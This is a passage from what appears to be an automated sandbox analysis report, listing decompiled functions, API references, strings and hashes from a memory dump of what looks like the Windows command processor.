					if(_t43 != 0) {
						_t103 = 0x22;
						if(_t43 == _t103) {
							_t5 =  &(_t107[0]); // 0x2
							_t107 = E00882430(_t5);
							_t74 = wcsrchr(_t107, _t103);
							if(_t74 != 0) {
								 *_t74 = 0;
							}
						}
						_t44 = 0x3d;
						_t45 = wcschr(_t107, _t44);
						_pop(_t82);
						if(_t45 == 0) {
							goto L2;
						} else {
							 *_t45 = 0;
							_t6 =  &(_t45[0]); // 0x2
							_t82 = _t6;
							_t104 = E00882430(_t6);
							_t48 = 0x22;
							if( *_t104 == _t48) {
								_t7 =  &(_t104[0]); // 0x2
								_t70 = E00882430(_t7);
								_t104 = _t70;
								_t71 = 0x22;
								_t72 = wcsrchr(_t104, _t71);
								_pop(_t82);
								if(_t72 != 0) {
									_t82 = 0;
									 *_t72 = 0;
								}
							}
							_t49 = 0x3d;
							if( *_t104 == _t49) {
								goto L2;
							} else {
								_t78 = GetStdHandle(0xfffffff5);
								if(GetConsoleMode(_t78,  &_v2072) != 0) {
									_v2061 = 1;
									SetConsoleMode(_t78, _v2072 | 0x00000001);
								}
								_t53 = GetStdHandle(0xfffffff6);
								_t87 =  &_v2076;
								_v2080 = _t53;
								if(GetConsoleMode(_t53,  &_v2076) != 0) {
									_t87 = _v2076 | 0x00000007;
									_v2062 = 1;
									SetConsoleMode(_v2080, _v2076 | 0x00000007);
								}
								E0087C108(_t87, 0x2371, 1, _t104);
								_v2060 = 0;
								_t58 = GetStdHandle(0xfffffff6);
								_t99 =  &_v2060;
								_t88 = _t58;
								if(E00893B11(_t58,  &_v2060, 0x3ff,  &_v2068) == 0) {
									L23:
									_t60 = 0;
									_v2068 = 0;
								} else {
									_t60 = _v2068;
									if(_t60 == 0) {
										goto L23;
									} else {
										_t88 = _t108 + _t60 * 2 - 0x80a;
										while( *_t88 < 0x20) {
											_t60 = _t60 - 1;
											_t88 = _t88 - 2;
											_v2068 = _t60;
											if(_t60 != 0) {
												continue;
											} else {
											}
											goto L24;
										}
									}
								}
								L24:
								if(_v2061 != 0) {
									SetConsoleMode(_t78, _v2072);
									_t60 = _v2068;
								}
								if(_v2062 != 0) {
									SetConsoleMode(_v2080, _v2076);
									_t60 = _v2068;
								}
								if(_t60 == 0) {
									goto L3;
								} else {
									_t61 = _t60 + _t60;
									if(_t61 >= 0x800) {
										E0088711D(_t61, _t78, _t88, _t99, _t104, _t107);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t108);
										_t89 = _v2088;
										if( *0x89d5fc == 2) {
											_t63 = E008946A5(_t89, 0);
											L35:
											 *0x8ab8b0 = _t63;
											return _t63;
										}
										_t63 = E008946A5(_t89, 0);
										if(_t63 != 0) {
											goto L35;
										}
										return _t63;
									} else {
										_t99 =  &_v2060;
										 *((short*)(_t108 + _t61 - 0x808)) = 0;
										_t40 = E00883A50(_t107,  &_v2060);
										L4:
										_pop(_t102);
										_pop(_t106);
										_pop(_t77);
										return E00886FD0(_t40, _t77, _v8 ^ _t108, _t99, _t102, _t106);
									}
								}
							}
						}
					} else {
						L2:
						_push(0);
						_push(0x232a);
						E0087C5A2(_t82);
						goto L3;
					}
				}
			}

0x0089474c
0x00894757
0x0089475e
0x00894761
0x00894762
0x00894765
0x00894766
0x0089476c
0x00894772
0x00894779
0x00894799
0x0089479b
0x00000000
0x0089477b
0x0089477b
0x00894782
0x00894784
0x0089478a
0x008947af
0x008947b3
0x008947b5
0x008947bd
0x008947c1
0x008947cb
0x008947cf
0x008947cf
0x008947cb
0x008947d4
0x008947d7
0x008947de
0x008947e1
0x00000000
0x008947e3
0x008947e5
0x008947e8
0x008947e8
0x008947f0
0x008947f4
0x008947f8
0x008947fa
0x008947fd
0x00894804
0x00894806
0x00894809
0x00894810
0x00894813
0x00894815
0x00894817
0x00894817
0x00894813
0x0089481c
0x00894820
0x00000000
0x00894826
0x0089482e
0x00894840
0x0089484b
0x00894854
0x00894854
0x0089485c
0x00894862
0x00894868
0x00894878
0x00894880
0x00894883
0x00894891
0x00894891
0x0089489f
0x008948a9
0x008948be
0x008948c4
0x008948ca
0x008948d3
0x008948fc
0x008948fc
0x008948fe
0x008948d5
0x008948d5
0x008948dd
0x00000000
0x008948df
0x008948df
0x008948e6
0x008948ec
0x008948ed
0x008948f0
0x008948f8
0x00000000
0x00000000
0x008948fa
0x00000000
0x008948f8
0x008948e6
0x008948dd
0x00894904
0x0089490b
0x00894914
0x0089491a
0x0089491a
0x00894927
0x00894935
0x0089493b
0x0089493b
0x00894943
0x00000000
0x00894949
0x00894949
0x00894950
0x0089496e
0x00894973
0x00894974
0x00894975
0x00894976
0x00894977
0x00894978
0x00894979
0x0089497a
0x0089497b
0x0089497c
0x0089497d
0x0089497e
0x0089497f
0x00894982
0x00894985
0x00894991
0x0089499e
0x008949a3
0x008949a3
0x00000000
0x008949a3
0x00894993
0x0089499a
0x00000000
0x0089499c
0x008949a9
0x00894952
0x00894954
0x0089495a
0x00894964
0x0089479c
0x0089479f
0x008947a0
0x008947a3
0x008947ac
0x008947ac
0x00894950
0x00894943
0x00894820
0x0089478c
0x0089478c
0x0089478c
0x0089478d
0x00894792
0x00000000
0x00894798
0x0089478a

APIs

Part of subcall function 00882430: iswspace.MSVCRT ref: 00882440

wcsrchr.MSVCRT ref: 008947C1
wcschr.MSVCRT ref: 008947D7
wcsrchr.MSVCRT ref: 00894809
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5), ref: 00894828
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00894838
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00894854
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 0089485C
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00894870
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?), ref: 00894891
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,000003FF,?), ref: 008948BE
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00894914
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?), ref: 00894935

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ConsoleMode$Handle$wcsrchr$iswspacewcschr
String ID:
API String ID: 4166807220-0
Opcode ID: 0eab5d0135cfefc2e0c0721c4f3de968bb23122fd17576be757a98e2346d9ecb
Instruction ID: a98e1deda478e96470cac65a93a38ea41e0eb0e979b93bf61430386ec3760dbd
Opcode Fuzzy Hash: 0eab5d0135cfefc2e0c0721c4f3de968bb23122fd17576be757a98e2346d9ecb
Instruction Fuzzy Hash: 0551D6316002199AEF24BB78DC49FBA77E8FF01310F1895A9E585D3191EF708D86CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0087C430, Relevance: 18.2, APIs: 8, Strings: 4, Instructions: 155
memoryCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E0087C430() {
				intOrPtr _v8;
				void* __ecx;
				intOrPtr _t21;
				char _t22;
				intOrPtr _t25;
				intOrPtr _t33;
				intOrPtr _t37;
				char _t40;
				void* _t47;
				intOrPtr* _t50;
				void* _t53;
				intOrPtr _t54;
				void* _t65;
				void* _t68;
				void* _t73;
				intOrPtr* _t77;
				intOrPtr* _t78;
				void* _t83;

				_t46 = _t83;
				_push(_t47);
				_push(_t47);
				_v8 =  *((intOrPtr*)(_t83 + 4));
				_t21 =  *0x8b3cc4;
				if(_t21 == 0) {
					L19:
					_t22 = 0;
				} else {
					if( *((intOrPtr*)(_t21 + 0x14)) >= 0x20) {
						_push(0);
						_push(0x4000271c);
						E0087C5A2(_t47);
						goto L24;
					} else {
						_t50 =  *0x8b3cb8;
						if(_t50 == 0) {
							_t50 = 0x8b3ab0;
						}
						_t68 = _t50 + 2;
						do {
							_t25 =  *_t50;
							_t50 = _t50 + 2;
						} while (_t25 != 0);
						_t73 = (_t50 - _t68 >> 1) + 1;
						_t77 = HeapAlloc(GetProcessHeap(), 8, 0xc);
						if(_t77 == 0) {
							L24:
							_t22 = 1;
						} else {
							_t53 = HeapAlloc(GetProcessHeap(), 8, _t73 + _t73);
							 *_t77 = _t53;
							if(_t53 == 0) {
								goto L24;
							} else {
								_t31 =  *0x8b3cb8;
								if( *0x8b3cb8 == 0) {
									_t31 = 0x8b3ab0;
								}
								E00881040(_t53, _t73, _t31);
								_t33 = E00883B2C(_t53);
								 *((intOrPtr*)(_t77 + 4)) = _t33;
								if(_t33 == 0) {
									goto L24;
								} else {
									_t54 =  *0x8b3cc4;
									 *((char*)(_t77 + 8)) =  *0x8b3cc9;
									 *((char*)(_t77 + 9)) =  *0x8b3cc8;
									 *((intOrPtr*)(_t54 + 0x90 +  *(_t54 + 0x14) * 4)) = _t77;
									_t37 =  *0x8b3cd8;
									 *(_t54 + 0x14) =  *(_t54 + 0x14) + 1;
									 *((intOrPtr*)(_t54 + 0xc)) = _t37;
									if( *((intOrPtr*)(_t54 + 0x10)) < _t37) {
										 *((intOrPtr*)(_t54 + 0x10)) = _t37;
									}
									_t78 = E0087EA40( *((intOrPtr*)( *((intOrPtr*)(_t46 + 8)) + 0x3c)), 0, 0);
									_t40 = 0;
									 *0x8ab8b0 = 0;
									while( *_t78 != _t40) {
										__imp___wcsicmp(_t78, L"ENABLEEXTENSIONS");
										if(_t40 != 0) {
											__imp___wcsicmp(_t78, L"DISABLEEXTENSIONS");
											if(_t40 == 0) {
												 *0x8b3cc9 = 0;
												goto L15;
											} else {
												__imp___wcsicmp(_t78, L"ENABLEDELAYEDEXPANSION");
												if(_t40 != 0) {
													__imp___wcsicmp(L"DISABLEDELAYEDEXPANSION");
													_t65 = _t78;
													if(_t40 != 0) {
														if( *_t78 == 0) {
															goto L15;
														} else {
															_push(0);
															_push(0x400023a6);
															E0087C5A2(_t65);
															_t22 = 1;
															 *0x8ab8b0 = 1;
														}
													} else {
														 *0x8b3cc8 = _t40;
														goto L15;
													}
												} else {
													 *0x8b3cc8 = 1;
													goto L15;
												}
											}
										} else {
											 *0x8b3cc9 = 1;
											L15:
											_t78 = E0087D7E6(_t78);
											_t40 = 0;
											continue;
										}
										goto L20;
									}
									goto L19;
								}
							}
						}
					}
				}
				L20:
				return _t22;
			}

0x0087c433
0x0087c435
0x0087c436
0x0087c441
0x0087c447
0x0087c450
0x0087c58c
0x0087c58c
0x0087c456
0x0087c45a
0x0088a90c
0x0088a90e
0x0088a913
0x00000000
0x0087c460
0x0087c460
0x0087c468
0x0088a902
0x0088a902
0x0087c46e
0x0087c473
0x0087c473
0x0087c476
0x0087c479
0x0087c486
0x0087c496
0x0087c49a
0x0088a91a
0x0088a91c
0x0087c4a0
0x0087c4b3
0x0087c4b5
0x0087c4b9
0x00000000
0x0087c4bf
0x0087c4bf
0x0087c4c6
0x0088a922
0x0088a922
0x0087c4cf
0x0087c4d4
0x0087c4d9
0x0087c4de
0x00000000
0x0087c4e4
0x0087c4e4
0x0087c4ef
0x0087c4f7
0x0087c4fd
0x0087c504
0x0087c509
0x0087c50c
0x0087c512
0x0087c514
0x0087c514
0x0087c527
0x0087c529
0x0087c52b
0x0087c56c
0x0087c577
0x0087c581
0x0087c538
0x0087c542
0x0087c59b
0x00000000
0x0087c544
0x0087c54a
0x0087c554
0x0088a932
0x0088a939
0x0088a93c
0x0088a94d
0x00000000
0x0088a953
0x0088a953
0x0088a954
0x0088a959
0x0088a961
0x0088a963
0x0088a963
0x0088a93e
0x0088a93e
0x00000000
0x0088a93e
0x0087c55a
0x0087c55a
0x00000000
0x0087c55a
0x0087c554
0x0087c583
0x0087c583
0x0087c561
0x0087c568
0x0087c56a
0x00000000
0x0087c56a
0x00000000
0x0087c581
0x00000000
0x0087c56c
0x0087c4de
0x0087c4b9
0x0087c49a
0x0087c45a
0x0087c58e
0x0087c596

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,0000000C), ref: 0087C489
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 0087C490
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,00000000), ref: 0087C4A6
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000), ref: 0087C4AD
_wcsicmp.MSVCRT ref: 0087C538
_wcsicmp.MSVCRT ref: 0087C54A
_wcsicmp.MSVCRT ref: 0087C577
_wcsicmp.MSVCRT ref: 0088A932

Strings

DISABLEDELAYEDEXPANSION, xrefs: 0088A92C
ENABLEEXTENSIONS, xrefs: 0087C571
DISABLEEXTENSIONS, xrefs: 0087C532
ENABLEDELAYEDEXPANSION, xrefs: 0087C544

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap_wcsicmp$AllocProcess
String ID: DISABLEDELAYEDEXPANSION$DISABLEEXTENSIONS$ENABLEDELAYEDEXPANSION$ENABLEEXTENSIONS
API String ID: 435930816-3086019870
Opcode ID: ecbd030690054d3c6a2ab950fd4510d91fffa60336935a89331e3c845569e354
Instruction ID: f4a574e9d7da36b811978adfc87a9e47cdc78d23d2849b0e0d69a104538dff0f
Opcode Fuzzy Hash: ecbd030690054d3c6a2ab950fd4510d91fffa60336935a89331e3c845569e354
Instruction Fuzzy Hash: 6F5149312042019BE714EF7CAC559273FD4FB09714724C56EE85AD7385EB26E901C756

Uniqueness

Uniqueness Score: -1.00%

Function 0089A834, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 251COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0089A879
memset.MSVCRT ref: 0089A8A1
memset.MSVCRT ref: 0089A8C9

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,00000000,00000000,00000000,00000000,008721E8,?,?,?,-00000105,-00000105,-00000105), ref: 0089A9F1
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,?,?,?,?,?), ref: 0089A9FB
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?), ref: 0089AA0D
??_V@YAXPAX@Z.MSVCRT ref: 0089AB45
??_V@YAXPAX@Z.MSVCRT ref: 0089AB52
??_V@YAXPAX@Z.MSVCRT ref: 0089AB5F

Strings

%04X-%04X, xrefs: 0089AAFC

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$ErrorLast$InformationVolume
String ID: %04X-%04X
API String ID: 2748242238-1126166780
Opcode ID: 34858ba9f1a2739d424e5faad299597fe263c8ab711e2b445cde0c57e3e06741
Instruction ID: 23b604f78e56b1ac1ba22a410d2de18a6d2abf855be8dd3b077ac1971cb32e85
Opcode Fuzzy Hash: 34858ba9f1a2739d424e5faad299597fe263c8ab711e2b445cde0c57e3e06741
Instruction Fuzzy Hash: 539180B1A012289BDF28EB24CC85AEA77B9FF54354F4841D9F509E3151EA349F84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00883121, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00883160
memset.MSVCRT ref: 00883180
memset.MSVCRT ref: 008831A9

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,00000000,?,00000000,?,?,008721E8,?,?,?,-00000105,-00000105,-00000105), ref: 008832AB
_wcsicmp.MSVCRT ref: 008832C9
??_V@YAXPAX@Z.MSVCRT ref: 008832DF
??_V@YAXPAX@Z.MSVCRT ref: 008832E9
??_V@YAXPAX@Z.MSVCRT ref: 008832F6

Strings

FAT, xrefs: 008832C3

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: memset$InformationVolume_wcsicmp
String ID: FAT
API String ID: 4247940253-238207945
Opcode ID: 33c140439c3c71fd5556d4f7bcb846a029bf01a2b77db8fc5fad4f9d8f0b0570
Instruction ID: 0ba665372b994d0760145384956c9f99fa85d3f7198ccee6ffd17020f2daf457
Opcode Fuzzy Hash: 33c140439c3c71fd5556d4f7bcb846a029bf01a2b77db8fc5fad4f9d8f0b0570
Instruction Fuzzy Hash: 255171B19002199BDB24EBA4DC85BEEB7B9FB04355F0401E9E509E3152EB399F84CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0087AD44, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 152COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0087AD95

Part of subcall function 00880C70: ??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
Part of subcall function 00880C70: memset.MSVCRT ref: 00880CDD

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,?,-00000209,00000000,?,00000001), ref: 0087ADEA
wcsncmp.MSVCRT(?,\\.\,00000004), ref: 0087AE0D
??_V@YAXPAX@Z.MSVCRT ref: 0087AE68
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000037,00000000,?,?), ref: 0089128D

Part of subcall function 008822C0: wcschr.MSVCRT ref: 008822CC

wcsstr.MSVCRT ref: 00891249
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 00891266
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 008912A5

Part of subcall function 008868BA: FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000037,00000000,00000000,00000002,00000000,?,00000000,00886A00,00886A00,?,0087AE4F,00000037,00000000,?), ref: 008868E6

Part of subcall function 0087CD27: FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00899362,00000000,00000000,?,00889814,00000000), ref: 0087CD55

Strings

\\.\, xrefs: 0087AE07

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: File$AttributesFindmemset$CloseDriveFirstFullNamePathTypewcschrwcsncmpwcsstr
String ID: \\.\
API String ID: 52035941-2900601889
Opcode ID: ef62832d16e85a224920672929212fa3b2243c89804e2d29b48e379941e813b0
Instruction ID: 05f12ffc20fd79df80f4d7509a2e22945f5fe5ec3d389d7f0eec1f0dfebc5381
Opcode Fuzzy Hash: ef62832d16e85a224920672929212fa3b2243c89804e2d29b48e379941e813b0
Instruction Fuzzy Hash: 4341B0725083129BCB34EB649C8896FB7E8FF85710F14491EF999C3291EB30D90587A7

Uniqueness

Uniqueness Score: -1.00%

Function 0089AEE5, Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 337COMMON

Download Yara Rule

APIs

Part of subcall function 0089B4DD: free.MSVCRT(?,0000000A,00000000,?,008935C4), ref: 0089B4FB
Part of subcall function 0089B4DD: free.MSVCRT(?,0000000A,00000000,?,008935C4), ref: 0089B508

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

longjmp.MSVCRT(008AB8B8,00000001,00000000,?,00000000), ref: 0089AF84
qsort.MSVCRT ref: 0089B007
wcschr.MSVCRT ref: 0089B05C
calloc.MSVCRT ref: 0089B09E
calloc.MSVCRT ref: 0089B16F
wcschr.MSVCRT ref: 0089B1B8
memcpy.MSVCRT ref: 0089B20A
memcpy.MSVCRT ref: 0089B22B

Strings

&()[]{}^=;!%'+,`~, xrefs: 0089B057, 0089B1B3

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heapcallocfreememcpywcschr$AllocProcesslongjmpqsort
String ID: &()[]{}^=;!%'+,`~
API String ID: 975110957-381716982
Opcode ID: 32dc53a08d3b6ab7fe30909624450ad9394182a2b36d69d7a50b8c25f4cccfa2
Instruction ID: dd083e0c9c8ab6b255f334d36e7844932a81c7c114812dd2103e02c1b6df53a2
Opcode Fuzzy Hash: 32dc53a08d3b6ab7fe30909624450ad9394182a2b36d69d7a50b8c25f4cccfa2
Instruction Fuzzy Hash: 00C1B172A042159BDF24AFA8ED417AEBBB1FF44710F18406EE948E7342EB309D41CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00879A26, Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 212COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00879A36
_wcsicmp.MSVCRT ref: 00879A99
_wcsicmp.MSVCRT ref: 00879AB3
_wcsicmp.MSVCRT ref: 00879ACD
_wcsicmp.MSVCRT ref: 00879AE7
iswspace.MSVCRT ref: 00879B1F

Strings

FOR/?, xrefs: 00879A2F
=,;, xrefs: 00879B35

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _wcsicmp$iswspace
String ID: =,;$FOR/?
API String ID: 759518647-2121398454
Opcode ID: ec984cbc8d17f798ad4e429b21951c9eb4b8967945d981665f0e4ed513c446e1
Instruction ID: 6941073161c530b17c05526e6d26e3a99d9f9e8244a1212f39eb344b826a4c7f
Opcode Fuzzy Hash: ec984cbc8d17f798ad4e429b21951c9eb4b8967945d981665f0e4ed513c446e1
Instruction Fuzzy Hash: 026109312047229AEF34B779AC4A77673A0FB81358F14842DE28FC6AD6EA74E841C715

Uniqueness

Uniqueness Score: -1.00%

Function 008764DC, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 153COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 0087650D
iswdigit.MSVCRT ref: 0087651E
_errno.MSVCRT ref: 00876529
wcstol.MSVCRT ref: 00876546
iswdigit.MSVCRT ref: 00876564
iswalpha.MSVCRT ref: 0087657A
wcstoul.MSVCRT ref: 0088ACAE
_errno.MSVCRT ref: 0088ACB9

Strings

+-~!, xrefs: 00876508

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: _errnoiswdigit$iswalphawcschrwcstolwcstoul
String ID: +-~!
API String ID: 2191331888-2604099254
Opcode ID: 9ceafe334b12ca61464aa4afcf12253f6a8717495d77873dff341ebd0bfb5434
Instruction ID: 7342faa91be6c1410a0518656917b31d1b0e6e773eab5907d4e92f3d9882fd08
Opcode Fuzzy Hash: 9ceafe334b12ca61464aa4afcf12253f6a8717495d77873dff341ebd0bfb5434
Instruction Fuzzy Hash: AB516D71400A09EBCB15DF68E8859AA37A5FF05320F14C11AFD1ADB298F774DE14DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0089213A, Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 102synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,00000000,?,00000000,?,00000000,00000000,?,00892CF5), ref: 0089214C

Strings

wil, xrefs: 0089215F, 00892245

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ObjectSingleWait
String ID: wil
API String ID: 24740636-1589926490
Opcode ID: fe4a099ca5027523e8c2ab6e0c4826d0c485675268396a9832ec67b6a8b68349
Instruction ID: 37eb6bacb7bd8a569f066d0f4924027cd62283c595d95f4062d15202ccca6226
Opcode Fuzzy Hash: fe4a099ca5027523e8c2ab6e0c4826d0c485675268396a9832ec67b6a8b68349
Instruction Fuzzy Hash: 6F31D030700208BBEF20BBA59C84BBB776AFF81754F288135FA51D6281D774DD129662

Uniqueness

Uniqueness Score: -1.00%

Function 00897C83, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 91windowCOMMON

Download Yara Rule

APIs

FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001900,00000000,00000104,00000000,?,0000000A,?,?,?), ref: 00897CB9
_ultoa.MSVCRT ref: 00897CCF
GetACP.API-MS-WIN-CORE-LOCALIZATION-L1-2-0 ref: 00897CD8
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00000000,0089A21D,000000FF,?,00000020), ref: 00897CF9
FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00003100,00000000,0000013D,00000000,?,0000000A,?), ref: 00897D31
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?), ref: 00897D65

Strings

Application, xrefs: 00897D0C
System, xrefs: 00897D13
(#, xrefs: 00897CFF

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: FormatMessage$ByteCharFreeLocalMultiWide_ultoa
String ID: (#$Application$System
API String ID: 3377411628-593978566
Opcode ID: c71bc85fc9121ac3a916e1280350f84f25e8b171369bc74bdf651db21420b969
Instruction ID: 4fe7f611a97936ad21162ade1e67ef74d9d1f0ae98c11b9d1e96aea5bdb9e1d9
Opcode Fuzzy Hash: c71bc85fc9121ac3a916e1280350f84f25e8b171369bc74bdf651db21420b969
Instruction Fuzzy Hash: 0E315C31A0020CABDF119FA5DC45DEE7BB9FF89710F244229FA15E7291EB309A05CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00878885, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000004,?,?,?,00000000,?,?,00878857,-00000105), ref: 008788A8
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000004,?,?,?,00000000,?,?,00878857,-00000105), ref: 008788B8
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000004,?,?,?,00000000,?,?,00878857,-00000105), ref: 00890650
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00000004,?,?,?,00000000,?,?,00878857,-00000105), ref: 00890662
SetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,?,?,?,00000004,?,?,?,00000000,?,?,00878857,-00000105), ref: 0089067E
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,?,?,?,00000004,?,?,?,00000000,?,?,00878857,-00000105), ref: 0089068D

Strings

\, xrefs: 0089063E
:, xrefs: 00890633

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: AttributesDirectoryFileRemove$ErrorFullLastNamePath
String ID: :$\
API String ID: 3961617410-1166558509
Opcode ID: 6c1b43fd5be7b051be6ad9ed1ce827253d5fd4cb81ed956203ab292d75f1bcbe
Instruction ID: 6238e7f303e12c677406e3f7ff2b23fb5f67ca277189468dec5cf512972f2901
Opcode Fuzzy Hash: 6c1b43fd5be7b051be6ad9ed1ce827253d5fd4cb81ed956203ab292d75f1bcbe
